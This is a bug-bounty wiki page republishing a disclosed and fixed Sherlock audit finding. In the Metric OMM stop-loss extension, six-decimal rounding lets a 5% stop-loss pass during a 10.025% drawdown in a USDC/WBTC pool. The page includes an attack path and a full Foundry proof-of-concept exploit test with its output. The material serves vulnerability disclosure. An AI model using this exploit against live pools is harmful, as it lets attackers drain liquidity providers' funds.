Skip to content
Business logic Audit finding Advanced

Stop-loss checks can miss a 10% drawdown in a normal USDC/WBTC pool

The stop-loss extension floors token-denominated values to six decimals, so a 5% stop-loss check can pass even when the true protected value has fallen by more than 10%. An attacker can exploit this rounding to complete a swap cycle that reduces the LP's principal.

GPT-wrapper Follow with Jornason, iepathos and 5 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/3048

Found by

GPT-wrapper, Jornason, iepathos, pkqs90, sahuang, savidjn, serial-coder, sonanh08t4

Summary

The stop-loss extension records token-denominated value at a fixed six-decimal precision. In a USDC/WBTC pool, this can let a 5% stop-loss check pass after the true protected value has fallen by more than 10%.

Root cause

_metrics() floors each balance component after multiplying it by the fixed 1e6 scale. This precision is too low when the protected numeraire is an expensive asset such as WBTC.

Source: OracleValueStopLossExtension._metrics()

Solidity
uint256 t0ps = Math.mulDiv(uint256(t0), METRIC_SCALE, shares);
uint256 t1ps = Math.mulDiv(uint256(t1), METRIC_SCALE, shares);

metricT1 = _clampMetric(
  // audit-bug: Both value components are floored before the comparison.
  Math.mulDiv(
    Math.mulDiv(uint256(t0), midPriceX64, Q64),
    METRIC_SCALE,
    shares
  ) + t1ps
);

_applyWatermark() floors the drawdown threshold again and uses a strict comparison.

Source: OracleValueStopLossExtension._applyWatermark()

Solidity
if (metric >= hwm) return (metric, false);

// audit-bug: hwm = 8 and a 5% limit both round to a threshold of 7.
breached = metric < (hwm * floorMultiplier) / E6;

In a normally denominated USDC/WBTC pool, the token1 watermark is 8. After WBTC reprices from $100,000 to $125,000, the protected leg produces a metric of 7. The 5% threshold also rounds to 7, so 7 < 7 is false even though the precise drawdown is 10.025%.

Attack Path

  1. An LP deposits 2,005,000 USDC into a USDC/WBTC pool with a 5% stop-loss. Each 1e18 shares represents one USDC or 0.00001 WBTC, both worth $1 at the initial price.
  2. A normal swap centers the bin and records the token1 watermark as 8.
  3. The oracle correctly reprices WBTC from $100,000 to $125,000.
  4. A swapper starts the protected WBTC-for-USDC leg. Its true token1-denominated value falls by 10.025%.
  5. The live metric and rounded threshold are both 7, so the extension allows the swap.
  6. The swapper completes the cycle and reduces the LP's oracle-marked principal.

Impact

The configured 5% stop-loss fails during a 10.025% protected-leg drawdown. The reproduced cycle costs the LP $567.63, or 0.025235% of principal, which exceeds both Medium thresholds.

The underlying oracle-repricing cycle is already documented. The issue here is narrower: an installed stop-loss fails to block that cycle under normal USDC/WBTC denominations.

PoC

Add metric-periphery/test/audit/OracleStopLossTokenDenominationPoC.t.sol:

Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.35;

import {Test} from "forge-std/Test.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MetricOmmPoolFactory} from "@metric-core/MetricOmmPoolFactory.sol";
import {MetricOmmPoolDeployer} from "@metric-core/MetricOmmPoolDeployer.sol";
import {
  IMetricOmmPoolActions
} from "@metric-core/interfaces/IMetricOmmPool/IMetricOmmPoolActions.sol";
import {
  IMetricOmmModifyLiquidityCallback
} from "@metric-core/interfaces/callbacks/IMetricOmmModifyLiquidityCallback.sol";
import {
  IMetricOmmSwapCallback
} from "@metric-core/interfaces/callbacks/IMetricOmmSwapCallback.sol";
import {PoolParameters} from "@metric-core/types/FactoryOperation.sol";
import {ExtensionOrders} from "@metric-core/types/PoolExtensionsConfig.sol";
import {LiquidityDelta} from "@metric-core/types/PoolOperation.sol";
import {PoolStateLibrary} from "@metric-core/libraries/PoolStateLibrary.sol";
import {MockERC20} from "@metric-core-test/mocks/MockERC20.sol";
import {MockOracle} from "@metric-core-test/mocks/MockOracle.sol";
import {
  OracleValueStopLossExtension
} from "../../contracts/extensions/OracleValueStopLossExtension.sol";

contract StopLossActor is
  IMetricOmmModifyLiquidityCallback,
  IMetricOmmSwapCallback
{
  IERC20 private immutable TOKEN0;
  IERC20 private immutable TOKEN1;

  constructor(IERC20 token0, IERC20 token1) {
    TOKEN0 = token0;
    TOKEN1 = token1;
  }

  function addLiquidity(address pool, uint256 shares) external {
    int256[] memory bins = new int256[](1);
    uint256[] memory amounts = new uint256[](1);
    bins[0] = 0;
    amounts[0] = shares;
    IMetricOmmPoolActions(pool).addLiquidity(
      address(this),
      0,
      LiquidityDelta({binIdxs: bins, shares: amounts}),
      "",
      ""
    );
  }

  function swap(
    address pool,
    bool zeroForOne,
    int128 amountIn,
    uint128 priceLimitX64
  ) external {
    IMetricOmmPoolActions(pool).swap(
      address(this),
      zeroForOne,
      amountIn,
      priceLimitX64,
      "",
      ""
    );
  }

  function metricOmmModifyLiquidityCallback(
    uint256 amount0,
    uint256 amount1,
    bytes calldata
  ) external {
    if (amount0 != 0) require(TOKEN0.transfer(msg.sender, amount0));
    if (amount1 != 0) require(TOKEN1.transfer(msg.sender, amount1));
  }

  function metricOmmSwapCallback(
    int256 amount0,
    int256 amount1,
    bytes calldata
  ) external {
    if (amount0 > 0) require(TOKEN0.transfer(msg.sender, uint256(amount0)));
    if (amount1 > 0) require(TOKEN1.transfer(msg.sender, uint256(amount1)));
  }
}

contract OracleStopLossTokenDenominationPoC is Test {
  uint256 private constant Q64 = 1 << 64;
  uint256 private constant METRIC_SCALE = 1e6;
  uint32 private constant MAX_DRAWDOWN_E6 = 50_000;
  uint128 private constant INITIAL_MID_X64 = uint128(Q64 / 100_000);
  uint128 private constant REPRICED_MID_X64 =
    uint128((uint256(INITIAL_MID_X64) * 80) / 100);
  uint256 private constant SHARES = 2_005_000e18;
  uint256 private constant LP_CAPITAL = 2_005_000e6;
  uint256 private constant BTC_PRICE_AFTER_REPRICING = 125_000;

  MockERC20 private usdc;
  MockERC20 private wbtc;
  MockOracle private oracle;
  OracleValueStopLossExtension private stopLoss;
  address private pool;
  StopLossActor private lp;
  StopLossActor private swapper;

  function setUp() external {
    usdc = new MockERC20("USD Coin", "USDC", 6);
    for (uint256 i; i < 64; ++i) {
      MockERC20 candidate =
        new MockERC20("Wrapped Bitcoin", "WBTC", 8);
      if (address(candidate) > address(usdc)) {
        wbtc = candidate;
        break;
      }
    }
    require(address(wbtc) != address(0));

    oracle = new MockOracle();
    oracle.setTokens(address(usdc), address(wbtc));
    _setOracleMid(INITIAL_MID_X64);

    MetricOmmPoolFactory factory =
      new MetricOmmPoolFactory(address(this));
    MetricOmmPoolDeployer deployer =
      new MetricOmmPoolDeployer(address(factory));
    factory.setPoolDeployer(address(deployer));
    stopLoss = new OracleValueStopLossExtension(address(factory));
    pool = _createPool(factory);

    lp = new StopLossActor(IERC20(address(usdc)), IERC20(address(wbtc)));
    swapper =
      new StopLossActor(IERC20(address(usdc)), IERC20(address(wbtc)));
    usdc.mint(address(lp), LP_CAPITAL);
    usdc.mint(address(swapper), 10_000_000e6);
    wbtc.mint(address(swapper), 100e8);

    lp.addLiquidity(pool, SHARES);
    swapper.swap(pool, false, int128(100e8), INITIAL_MID_X64);
  }

  function testNormalUsdcWbtcPoolBypassesFivePercentStopLoss() external {
    (uint104 start0, uint104 start1,,,) =
      PoolStateLibrary._binState(pool, 0);
    (, uint256 hwm1) = stopLoss.currentHighWatermarks(pool, 0);
    uint256 preciseBaseline =
      _preciseMetric1(start0, start1, INITIAL_MID_X64);
    assertEq(hwm1, 8);

    _setOracleMid(REPRICED_MID_X64);
    uint256 valueBeforeCycle =
      _quoteValue(start0, start1, REPRICED_MID_X64);

    uint128 firstLegLimit =
      uint128((uint256(REPRICED_MID_X64) * 1_000_001) / 1e6);
    swapper.swap(pool, false, int128(100e8), firstLegLimit);

    (uint104 postLeg0, uint104 postLeg1,,,) =
      PoolStateLibrary._binState(pool, 0);
    uint256 metricAfterLeg =
      _metric1(postLeg0, postLeg1, REPRICED_MID_X64);
    uint256 preciseAfterLeg =
      _preciseMetric1(postLeg0, postLeg1, REPRICED_MID_X64);
    uint256 trueDrawdownE6 =
      (preciseBaseline - preciseAfterLeg) * 1e6 / preciseBaseline;
    uint256 roundedThreshold =
      hwm1 * (1e6 - MAX_DRAWDOWN_E6) / 1e6;

    assertEq(metricAfterLeg, 7);
    assertEq(roundedThreshold, 7);
    assertGt(trueDrawdownE6, MAX_DRAWDOWN_E6);
    assertLt(
      preciseAfterLeg * 1e6,
      preciseBaseline * (1e6 - MAX_DRAWDOWN_E6)
    );

    swapper.swap(pool, false, int128(100e8), type(uint128).max);
    swapper.swap(
      pool,
      true,
      int128(10_000_000e6),
      REPRICED_MID_X64
    );

    (uint104 final0, uint104 final1,,,) =
      PoolStateLibrary._binState(pool, 0);
    uint256 valueAfterCycle =
      _quoteValue(final0, final1, REPRICED_MID_X64);
    uint256 lossWbtcE18 = valueBeforeCycle - valueAfterCycle;
    uint256 lossUsdE18 =
      lossWbtcE18 * BTC_PRICE_AFTER_REPRICING;
    uint256 relativeLossE8 =
      lossWbtcE18 * 1e8 / valueBeforeCycle;

    emit log_named_uint("HWM token1", hwm1);
    emit log_named_uint("post-leg metric token1", metricAfterLeg);
    emit log_named_uint("rounded threshold token1", roundedThreshold);
    emit log_named_uint("true drawdown E6", trueDrawdownE6);
    emit log_named_uint("LP loss, USD E18", lossUsdE18);
    emit log_named_uint("LP loss, relative E8", relativeLossE8);

    assertGt(lossUsdE18, 10e18);
    assertGt(relativeLossE8, 10_000);
  }

  function _createPool(
    MetricOmmPoolFactory factory
  ) private returns (address createdPool) {
    address[] memory extensions = new address[](1);
    extensions[0] = address(stopLoss);
    bytes[] memory initData = new bytes[](1);
    initData[0] =
      abi.encode(MAX_DRAWDOWN_E6, uint32(0), uint32(0));

    createdPool = factory.createPool(
      PoolParameters({
        token0: address(usdc),
        token1: address(wbtc),
        priceProvider: address(oracle),
        extensions: extensions,
        extensionOrders: ExtensionOrders(0, 0, 0, 0, 0, 1),
        extensionInitData: initData,
        priceProviderTimelock: type(uint256).max,
        admin: address(this),
        initialAmount0PerShareE18: 1e6,
        initialAmount1PerShareE18: 1_000,
        minimalMintableLiquidity: 1_000,
        adminSpreadFeeE6: 0,
        adminNotionalFeeE8: 0,
        adminFeeDestination: address(this),
        curBinDistFromProvidedPriceE6: -10_000,
        nonNegativeBinDataArray: _oneBin(20_000),
        negativeBinDataArray: _oneBin(20_000),
        salt: keccak256("USDC_WBTC_STOP_LOSS")
      })
    );
  }

  function _setOracleMid(uint128 midX64) private {
    oracle.setBidAndAskPrice(midX64, midX64 + 1);
  }

  function _metric1(
    uint104 amount0,
    uint104 amount1,
    uint256 midX64
  ) private pure returns (uint256) {
    return
      Math.mulDiv(
        Math.mulDiv(uint256(amount0), midX64, Q64),
        METRIC_SCALE,
        SHARES
      ) + Math.mulDiv(uint256(amount1), METRIC_SCALE, SHARES);
  }

  function _preciseMetric1(
    uint104 amount0,
    uint104 amount1,
    uint256 midX64
  ) private pure returns (uint256) {
    return
      Math.mulDiv(
        _quoteValue(amount0, amount1, midX64),
        1e18,
        SHARES
      );
  }

  function _quoteValue(
    uint104 amount0,
    uint104 amount1,
    uint256 midX64
  ) private pure returns (uint256) {
    return
      Math.mulDiv(uint256(amount0), midX64, Q64) +
      uint256(amount1);
  }

  function _oneBin(
    uint16 lengthE6
  ) private pure returns (uint256[] memory bins) {
    bins = new uint256[](1);
    bins[0] = uint256(uint48(lengthE6));
  }
}

Run:

Bash
forge test --root metric-periphery \
  --match-path test/audit/OracleStopLossTokenDenominationPoC.t.sol -vv

Observed output:

Text
HWM token1: 8
post-leg metric token1: 7
rounded threshold token1: 7
true drawdown E6: 100250
LP loss, USD E18: 567628403450655750000
LP loss, relative E8: 25235

Mitigation

Keep enough precision for token-denominated per-share values, then compare the live value and watermark by cross multiplication. A positive watermark must not produce a threshold that hides a configured drawdown.

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits: https://github.com/Metric-OMM/metric-periphery/pull/49

The original report as published on Sherlock, by GPT-wrapper. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the fixed six-decimal scaling and flooring of token-denominated values, combined with flooring the drawdown threshold, causes the live metric and threshold to round to the same integer, hiding a real drawdown.

Impact

The configured 5% stop-loss fails to block a 10.025% drawdown, costing the LP $567.63 (0.025235% of principal), which exceeds Medium severity thresholds.

What the attacker needed

LP deposits into a USDC/WBTC pool with stop-loss; Oracle reprices WBTC significantly; Attacker can perform swaps

The fix

The protocol team fixed this issue in a pull request.

How it was found

  1. An LP deposits 2,005,000 USDC into a USDC/WBTC pool with a 5% stop-loss.
  2. A normal swap centers the bin and records the token1 watermark as 8.
  3. The oracle reprices WBTC from $100,000 to $125,000.
  4. A swapper starts the protected WBTC-for-USDC leg, whose true value falls by 10.025%.
  5. The live metric and rounded threshold are both 7, so the stop-loss allows the swap.
  6. The swapper completes the cycle and reduces the LP's oracle-marked principal.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A stop-loss is a safety rule that should block trades if the value of your investment drops too much. Here, the code rounds numbers down too aggressively, so a drop of about 10% looks like only 5% and the safety rule does not trigger. An attacker can then make trades that slowly drain the protected funds.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from Metric

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.